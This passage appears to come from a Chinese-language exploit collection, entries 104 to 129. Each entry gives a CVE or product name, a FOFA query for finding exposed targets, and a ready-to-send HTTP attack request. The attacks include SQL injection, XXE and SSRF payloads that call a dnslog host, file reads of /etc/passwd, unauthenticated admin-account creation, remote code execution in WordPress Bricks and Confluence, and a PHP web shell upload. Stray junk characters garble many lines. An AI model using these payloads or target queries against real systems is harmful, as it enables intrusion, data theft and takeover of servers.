! B/ g6 k4 ?, H- R) i5 S
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
% e$ [" P, a! t( e8 hCVE-2024-0569
% c# o  F- N9 F' d/ k7 h3 s* K4 TFOFA：title="TOTOLINK"
& s- B$ X+ E0 y( xPOST /cgi-bin/cstecgi.cgi HTTP/1.1
7 e+ H5 x0 v0 d' J5 LHost:192.168.0.1
6 r3 B; R5 \, [Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
" z2 I. i7 W8 X3 _X-Requested-with: XMLHttpRequest
& Q3 J, U$ B$ s0 z0 e7 kUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
" J& u9 Z7 o0 \/ [/ }Content-Type: application/x-www-form-urlencoded:charset=UTF-8
7 B- l" i- @7 t4 |, m6 LOrigin: http://192.168.0.1
7 {7 v: u9 x) G/ J0 uReferer: http://192.168.0.1/advance/index.html?time=1671152380564
6 a9 E: k& b; ~- kAccept-Encoding:gzip,deflate
5 ]; G* d. O6 z3 d) VAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

{
"topicurl":"getSysStatusCfg",
. e6 Q4 p2 g# }6 a1 U! T"token":""
}

* v5 J( c* O5 w0 x0 J3 R( _105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
% s: O) T/ C( k, Q. Chttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
. q6 l9 [2 F; t# l/ O0 R1 \
106. SpringBlade dict-biz/list SQL 注入
+ F! Z3 g, i$ C7 Z' K% {2 FFOFA：body="Saber 将不能正常工作"
/ [" x6 i: T8 I' ?& SGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
. G. j& U8 S3 `+ f1 F8 F( ]/ WHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
, S; i* G  a: U9 ]& w9 I) HAccept-Language: zh-CN,zh;q=0.9
Connection: close
+ h. e& n9 ^0 \

107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
2 s( W7 h# v8 ?* R/ aHost: your-ip
( |& ?- i& {# [% ]  n# d) k; {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
! @: z* E- f/ @1 @6 N4 d2 JConnection: close

. F6 S4 n0 W' P3 Z5 U: e
4 K/ t8 y6 v' W5 N108. D-Tale 3.9.0 SSRF
- L4 P# S3 O! @& [: MCVE-2024-21642
, n0 }9 p  B2 v$ VFOFA："dtale/static/images/favicon.png"
+ |0 U2 j* K2 e0 e% f: ]' p5 \0 R- ~GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
$ m, g: k) A; ~' WAccept: application/json, text/plain, */*
. e& c6 r/ C" _0 p1 Q$ ?1 t+ XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
% K, s8 F% q$ nConnection: close
% Q+ f5 G0 i8 s: n

109. Jenkins CLI 任意文件读取
CVE-2024-23897
+ k, L# E) i3 K' p3 N. P- UFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
) S) i# [2 h% r3 R' P$ }Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
6 {, q6 ~# ]% z# L" ?9 aConnection: keep-alive
7 U2 U( M6 \! i; \! Z0 NContent-Length: 163
! T* J5 b7 S6 u% g4 H( M  U& H
5 I8 Q3 ~2 ^6 [( V2 xb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
1 ]4 n6 e' Q) s- i! f

POST /cli?remoting=false HTTP/1.1
/ B% B  t7 ^( d) v3 R1 CHost:
' _% Z" q, q2 z9 l% DSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
, _5 E8 [6 Z) f  U* z7 wdownload
. F! |1 b: I' E) G% c! b% nContent-Type: application/x-www-form-urlencoded
Content-Length: 0
! m5 `$ M6 a1 K/ ^  ~

" L# [" D: J0 H- Q! C% u" RERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
2 J2 y1 ^! g  K& aLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


. Q' N) c0 ?7 _4 G110. Goanywhere MFT 未授权创建管理员
# j; b5 ^5 Z* S7 |% u0 B& W+ vCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
: t/ B8 {" u5 o4 ?% THost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
( R. d) z4 ?" Q; @2 o( O# TConnection: close
' ]2 D! B/ z# KAccept: */*
* L8 K: i- d" wAccept-Language: en
8 o3 d+ b! Q: u" Q: w5 U$ ~Accept-Encoding: gzip

, l+ R  W* v9 ]- T) l2 ^
  h, j% [/ v. v111. WordPress Plugin HTML5 Video Player SQL注入
3 R1 l- M) S, ]8 P6 k( qCVE-2024-1061
4 `5 c- K: T/ KFOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
3 u" h1 t$ y" D- i/ [9 F- DUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
5 ?# l% h) k2 V) b, f& z' c/ KAccept: */*
Accept-Language: en
& L" S, y* A) kAccept-Encoding: gzip

% V1 u# p+ _  @' {7 P
112. WordPress Plugin NotificationX SQL 注入
2 p: q$ c3 P  ~# B* \0 ]CVE-2024-1698
% N2 ]+ n- E( h8 Q* l" V; ^3 B! tFOFA：body="/wp-content/plugins/notificationx"
0 S3 o( [$ o: IPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

! [( w0 B9 A6 C( I7 F7 A{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
8 w  o$ `; J3 l$ M" y; P; V, p

113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
1 ~* X; ?' W2 J5 xConnection: close
Accept: */*
! D% k6 I" F8 M6 Q, HAccept-Language: en
Accept-Encoding: gzip


114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
4 q' D' W, n: e/ TGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
* O7 |7 L4 o0 V/ {0 O4 cUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
: ~* u# z  i" ?1 R- Y  |Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
, Z' T. M" s$ p# ]& n' c8 LConnection: close


115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
$ L* b: U# a# R1 e% Q第一步，获取网站的nonce值
7 S2 x% h* H9 nGET / HTTP/1.1
Host: x.x.x.x
7 g7 y+ c) c. m/ b% ?* AUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
; o" ^; w9 u# @Connection: close
$ I( y. f0 }- c# c( b9 c1 A  i, lAccept-Encoding: gzip
. u: |1 y- n# [5 `! d6 [9 ]1 i3 T

. s5 g- r+ o' D( p  m5 `# p  i第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
6 m! a$ ^  P% \! gHost: x.x.x.x
" Q" |9 N0 E9 j0 _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
+ S' d" \) J$ d  X9 bContent-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
/ b2 t3 t3 W+ z" b: d& q* ^0 N: u6 Q
  Q1 U# c; w; l8 f' j- z( ]{
"postId": "1",
5 ~) L4 P4 \: J: }0 o  "nonce": "第一步获得的值",
; l$ _9 l! K, o9 v' ?# Q9 B  "element": {
( G2 `4 l$ j6 E' j5 Y    "name": "container",
    "settings": {
      "hasLoop": "true",
: z. x: f5 D" V  D/ V% h      "query": {
        "useQueryEditor": true,
/ e1 |+ J6 I, I* `% w0 C        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
  }
# e5 A$ _! ~! Z  F* e1 C}
  P1 A' g, [, R. g, p
5 X( f3 c7 W; q! I' j/ `% y
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
* r" `0 B; D. q5 A! qPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
/ @3 Z: |2 n* ~1 |- _# RUser-Agent: Mozilla/5.0

----------767099171
2 L  B) z3 C* _* o7 {; q& YContent-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
( k: h+ j0 ^5 u- n" p$ w$ z: {) GContent-Disposition: form-data; name="form_request"
2 M* Z# m. X8 ]% U; n/ W4 h8 H' @jssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--


117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
$ z% [; a; G: q% r( D8 y% ?4 sFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
/ A  @3 ^6 V; d- j. NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
2 }; e: Z* ^. p1 P9 Q# nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
1 G5 P$ k# ^, T2 V; p+ T1 x, XConnection: close
- i% B% T# L+ P8 d0 HUpgrade-Insecure-Requests: 1
: [4 h4 r2 I/ t0 c4 F+ B3 A9 b

118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
$ Q  n. L, K% w; ^" B4 ]: aCVE-2024-0939
FOFA：title="Smart管理平台"
6 t' R$ k: ?& OPOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 I8 e+ l+ M, Q- J; |7 BAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
3 Y5 Q. K, t1 o0 ?6 {$ VContent-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
! n' Z2 O# G& PUpgrade-Insecure-Requests: 1
5 T, z! k, P. n) MSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
2 ]  c) z8 A. I+ |% h% o' |# Z" b7 w6 QSec-Fetch-User: ?1
/ Z: F; N) z' |, MTe: trailers
% c0 k" r3 N( r0 }Connection: close

5 \& |) R8 H9 _- F$ T( ~! O$ b-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
; k$ D2 N2 X4 U9 {' D. rContent-Type: application/octet-stream

<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
/ f- Z- L5 w/ t$ [+ U, |/ H  iContent-Disposition: form-data; name="txt_path"
/ s, U( J9 _( C6 I) I
4 e+ p7 S) ?% z/home/src.php
" m% P; X7 g8 p6 [6 b  |; {3 l) A-----------------------------13979701222747646634037182887--

8 \$ H) {3 c/ b/ G/ Y
访问/home/src.php
( R  ]8 o& e& [7 \6 t) ^- s
119. 北京百绰智能S20后台sysmanageajax.php sql注入
  b1 r5 z, R7 U. t6 s/ m. [CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
  i" R) ~# Q" J- r5 H6 S0 Z2 iPOST /sysmanage/sysmanageajax.php HTTP/1.11
2 {* I: i( M1 s5 z& i* R+ f! _) P( vHost: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
" g+ W/ P$ _1 u. b- jAccept: */*
4 g5 G" W+ `" b0 u& ?3 Y8 EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 U" |, p% Y( d, c8 fAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
+ g# H; g- ~" Z* \& s, h$ K0 iSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
5 \4 Y2 K" j/ |/ I- zX-Originating-Ip: 1.1.1.1
- s, F! n; Q) ^' p0 Y, M7 b' OX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
6 ^' U* T" a& xTe: trailers
  W" D3 N( s* f5 S! ~Connection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

' g; k! [4 Q- r# r  p) g; G
120. 北京百绰智能S40管理平台导入web.php任意文件上传
4 S6 V, E+ w+ ~+ ^CVE-2024-1253
2 D/ ?+ S/ V$ f1 ^FOFA：title="Smart管理平台"
" s1 G- U. }( {POST /useratte/web.php? HTTP/1.1
3 a, ]% s' Q( ~5 HHost: ip:port
$ _5 `8 Q  J  Q* X+ S% m. c9 X; YCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
- y$ K4 \; Z& g/ q* nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
! h+ R# Q) x/ u4 j( c1 oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% y. X$ D# C4 E, {0 q0 e/ H" {Accept-Encoding: gzip, deflate
3 T6 y% x) r5 G% TContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
+ Y! ~4 P$ Q4 B6 R' t3 Q# J) O; F' WContent-Length: 597
! @3 K" [! v5 GOrigin: https://ip:port
4 W& j, a  Z. o: ?Referer: https://ip:port/sysmanage/licence.php
: p0 E" E% ~# z- b: \: GUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
) ]' Z+ Q6 H6 y& `; ~) K1 h: r- z0 HSec-Fetch-Site: same-origin
* a8 J# q$ C8 mSec-Fetch-User: ?1
! E7 X0 D( }& C+ h  UTe: trailers
# {+ t: J" F1 x1 A6 y( HConnection: close
  a' [6 v" [/ ^8 |* M- h! B: E
-----------------------------42328904123665875270630079328
) E* S0 ]& E1 L9 ~Content-Disposition: form-data; name="file_upload"; filename="2.php"
9 W# f+ Z; u3 z8 a$ |+ Z+ @) `7 cContent-Type: application/octet-stream

<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
8 ^4 Q: ]& ?! V3 X
$ K" C2 x& A' @" S/ q4 K8 F1
-----------------------------42328904123665875270630079328
& M( P1 W( D9 C# t5 y% u9 xContent-Disposition: form-data; name="1_ck"

: M- W/ c) H0 L% y1_radhttp
-----------------------------42328904123665875270630079328
. t% a6 ?$ J! f" Z4 n/ DContent-Disposition: form-data; name="mode"

import
" R& G' `% r9 v+ w-----------------------------42328904123665875270630079328

/ L, ?4 n% ]: x( `
! ^- J. E3 V# T, J# F7 s文件路径/upload/2.php

; W0 `1 [' ?! j; Y: z121. 北京百绰智能S42管理平台userattestation.php任意文件上传
0 F( ?/ r2 v! ~8 ^( ECVE-2024-1918
FOFA：title="Smart管理平台"
9 z: K1 m% K$ x7 M' [7 A0 ?5 t5 sPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 Q& m; s& S5 s' f5 ?0 q; hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% U8 V+ b; R0 ?4 z& Y6 ~, MAccept-Encoding: gzip, deflate
4 \& ], i# r# c8 DContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
4 l9 m: f4 p9 s. O. POrigin: https://192.168.40.130:8443
; v+ u2 |( D  tUpgrade-Insecure-Requests: 1
: W! T) q5 f& o$ F: vSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
9 b: s" e1 x+ ySec-Fetch-User: ?1
Te: trailers
" c5 ?' k8 g' P$ lConnection: close

- M! F8 W- B8 t' P; }" V-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
, ~/ D8 Q+ C* ?* ~
<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
  C' L& c, a7 B- M
1_radhttp
0 N; W0 C1 b( J1 z" S& b8 m-----------------------------42328904123665875270630079328
% A5 p+ ?) f4 E2 Q( X; \- tContent-Disposition: form-data; name="hidwel"

: I2 E) B; Q- B1 J  Yset
-----------------------------42328904123665875270630079328
. C/ g2 w' N: N# ]

boot/web/upload/weblogo/1.php
) c8 C' p. G8 w( g4 _6 c
122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
1 n! ?( \; K- f, ~; ~其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
7 ?4 B2 ~5 ^* \) h: ]; B# bGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
% b) L+ T$ R( p: m- r* h; ZHost: x.x.x.x
8 _; [9 k: E) m  R( X! |. sCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
  W) d# S) g1 }! O9 n5 b6 Z3 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
$ Z! o( ?) c2 X( gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# \* U& i5 q: W; f/ aAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
" S% X( e7 u& N7 C1 s* cSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
* `9 r. c2 E5 v9 J. A: p' bSec-Fetch-User: ?1
Te: trailers
Connection: close

, G$ H/ P9 C1 \+ _9 k9 Y" l! l
7 \7 M6 i. ^+ X$ w3 q' B9 b123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
: ], Q* N- O' K+ f( TPOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
5 ]' t# \) n- d& m' nAccept-Encoding: gzip, deflate, br
0 `6 g9 r& A0 P$ x' X* iAccept: */*
+ |1 d7 [& g) N% g6 n, Z  V3 m' pAccept-Language: en-US;q=0.9,en;q=0.8
1 S! ]/ q8 x1 j1 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
  g) D/ y# h$ {Connection: close
Content-Type: application/x-www-form-urlencoded
0 N1 S5 x: S5 z6 a
3 Y0 v* {; {; k2 N1 Slabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
9 ~" h/ K0 r) m9 a8 [
2 z5 H5 d2 `/ e5 [2 d! [+ F
# u8 i3 Y0 i+ z" h! ^( c! U& _124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
) q7 _# }6 n, {6 `Content-Length: 72
! \& e# e. o0 V& y  p# mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 L. E% \8 j& ?6 vAccept-Encoding: gzip, deflate, br
) b' S9 S3 F5 ]& ]( PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
8 S) i2 t( E3 B+ C* J+ Z6 P
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
" ?+ a8 H7 \# q/ n
3 m5 I% @1 u6 H* e8 `$ A+ ?
http://192.168.40.130:8282/Scripts/abcgcg.aspx
8 S4 _4 F. I' A- y& L$ Z9 o
125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
3 H% G7 s/ u2 ?. A$ R4 R
8 t! R% F# a+ W. i) o+ D
6 Q" }2 i' f$ b- e% Z# B- g4 }使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

/ b2 `% x/ j0 K( L2 \( t( m7 B& S
8 O" r! b3 M9 k; y' v创建好用户后直接登录后台，可以执行系统命令。

# T( b6 \' i1 r" r126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
) B& Y6 ~$ W- C( z, gGET /static/../../../../../etc/passwd HTTP/1.1
$ B5 i! ?2 @. D. sHost: x.x.x.x
" @, d* M4 ?0 D  V  a; m, sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
8 L( n: C9 U7 A9 vConnection: close
) i2 @: G1 ]7 G/ W/ ~! Z$ Q* EAccept: */*
Accept-Language: en
  I& }" y( L: G$ f4 _8 f+ Y) dAccept-Encoding: gzip


9 l. {/ Y% q* b; }* a127. 广联达Linkworks DataExchange.ashx XXE
; h* x2 f2 P; HFOFA：body="Services/Identification/login.ashx"
) L+ ^- k2 v1 KPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
) ~) p9 D0 i0 r6 z  _! }" PHost: 192.168.40.130:8888
5 ]1 C2 @3 i* ~$ i0 o( c  yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; H0 A) r  g! W9 S8 L- z. C/ qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
: X: P3 }( y7 J% P6 y9 CPurpose: prefetch
Sec-Purpose: prefetch;prerender

% P& B- L/ s6 j1 k8 p------WebKitFormBoundaryJGgV5l5ta05yAIe0
5 Q& a3 V. a* _! Q6 ]6 d# R+ qContent-Disposition: form-data;name="SystemName"
! x+ r( x  d$ a% v  ^) A
BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
7 x/ U- I' a5 y. fContent-Disposition: form-data;name="Params"
5 B$ d7 r' D' s+ S) {9 qContent-Type: text/plain

) X  X! {, v" U; V5 q! }<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
, t# e3 P0 ?/ E4 H2 T  w]
>
, I: r$ B* R; ~4 Z: n' ?( }<test>&t;</test>
/ G& H5 P) Y9 r; S  Y) }* m------WebKitFormBoundaryJGgV5l5ta05yAIe0--


/ P+ k' }# n; m
( ~  m' _# s" q8 X  s9 V: p128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD

129. Adobe ColdFusion 任意文件读取
' B1 z* B  U3 U- hCVE-2024-20767
$ G4 l4 F0 Z6 p$ w% y7 u! K* j$ mFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
' @/ j, {1 w% p" _; b" r- PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 m, k# E; o! r, GAccept: */*
. z% b  \9 H( x; _Accept-Encoding: gzip, deflate
Connection: close


; V; f* d4 Z5 _3 F- e8 l) f* ?! o第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
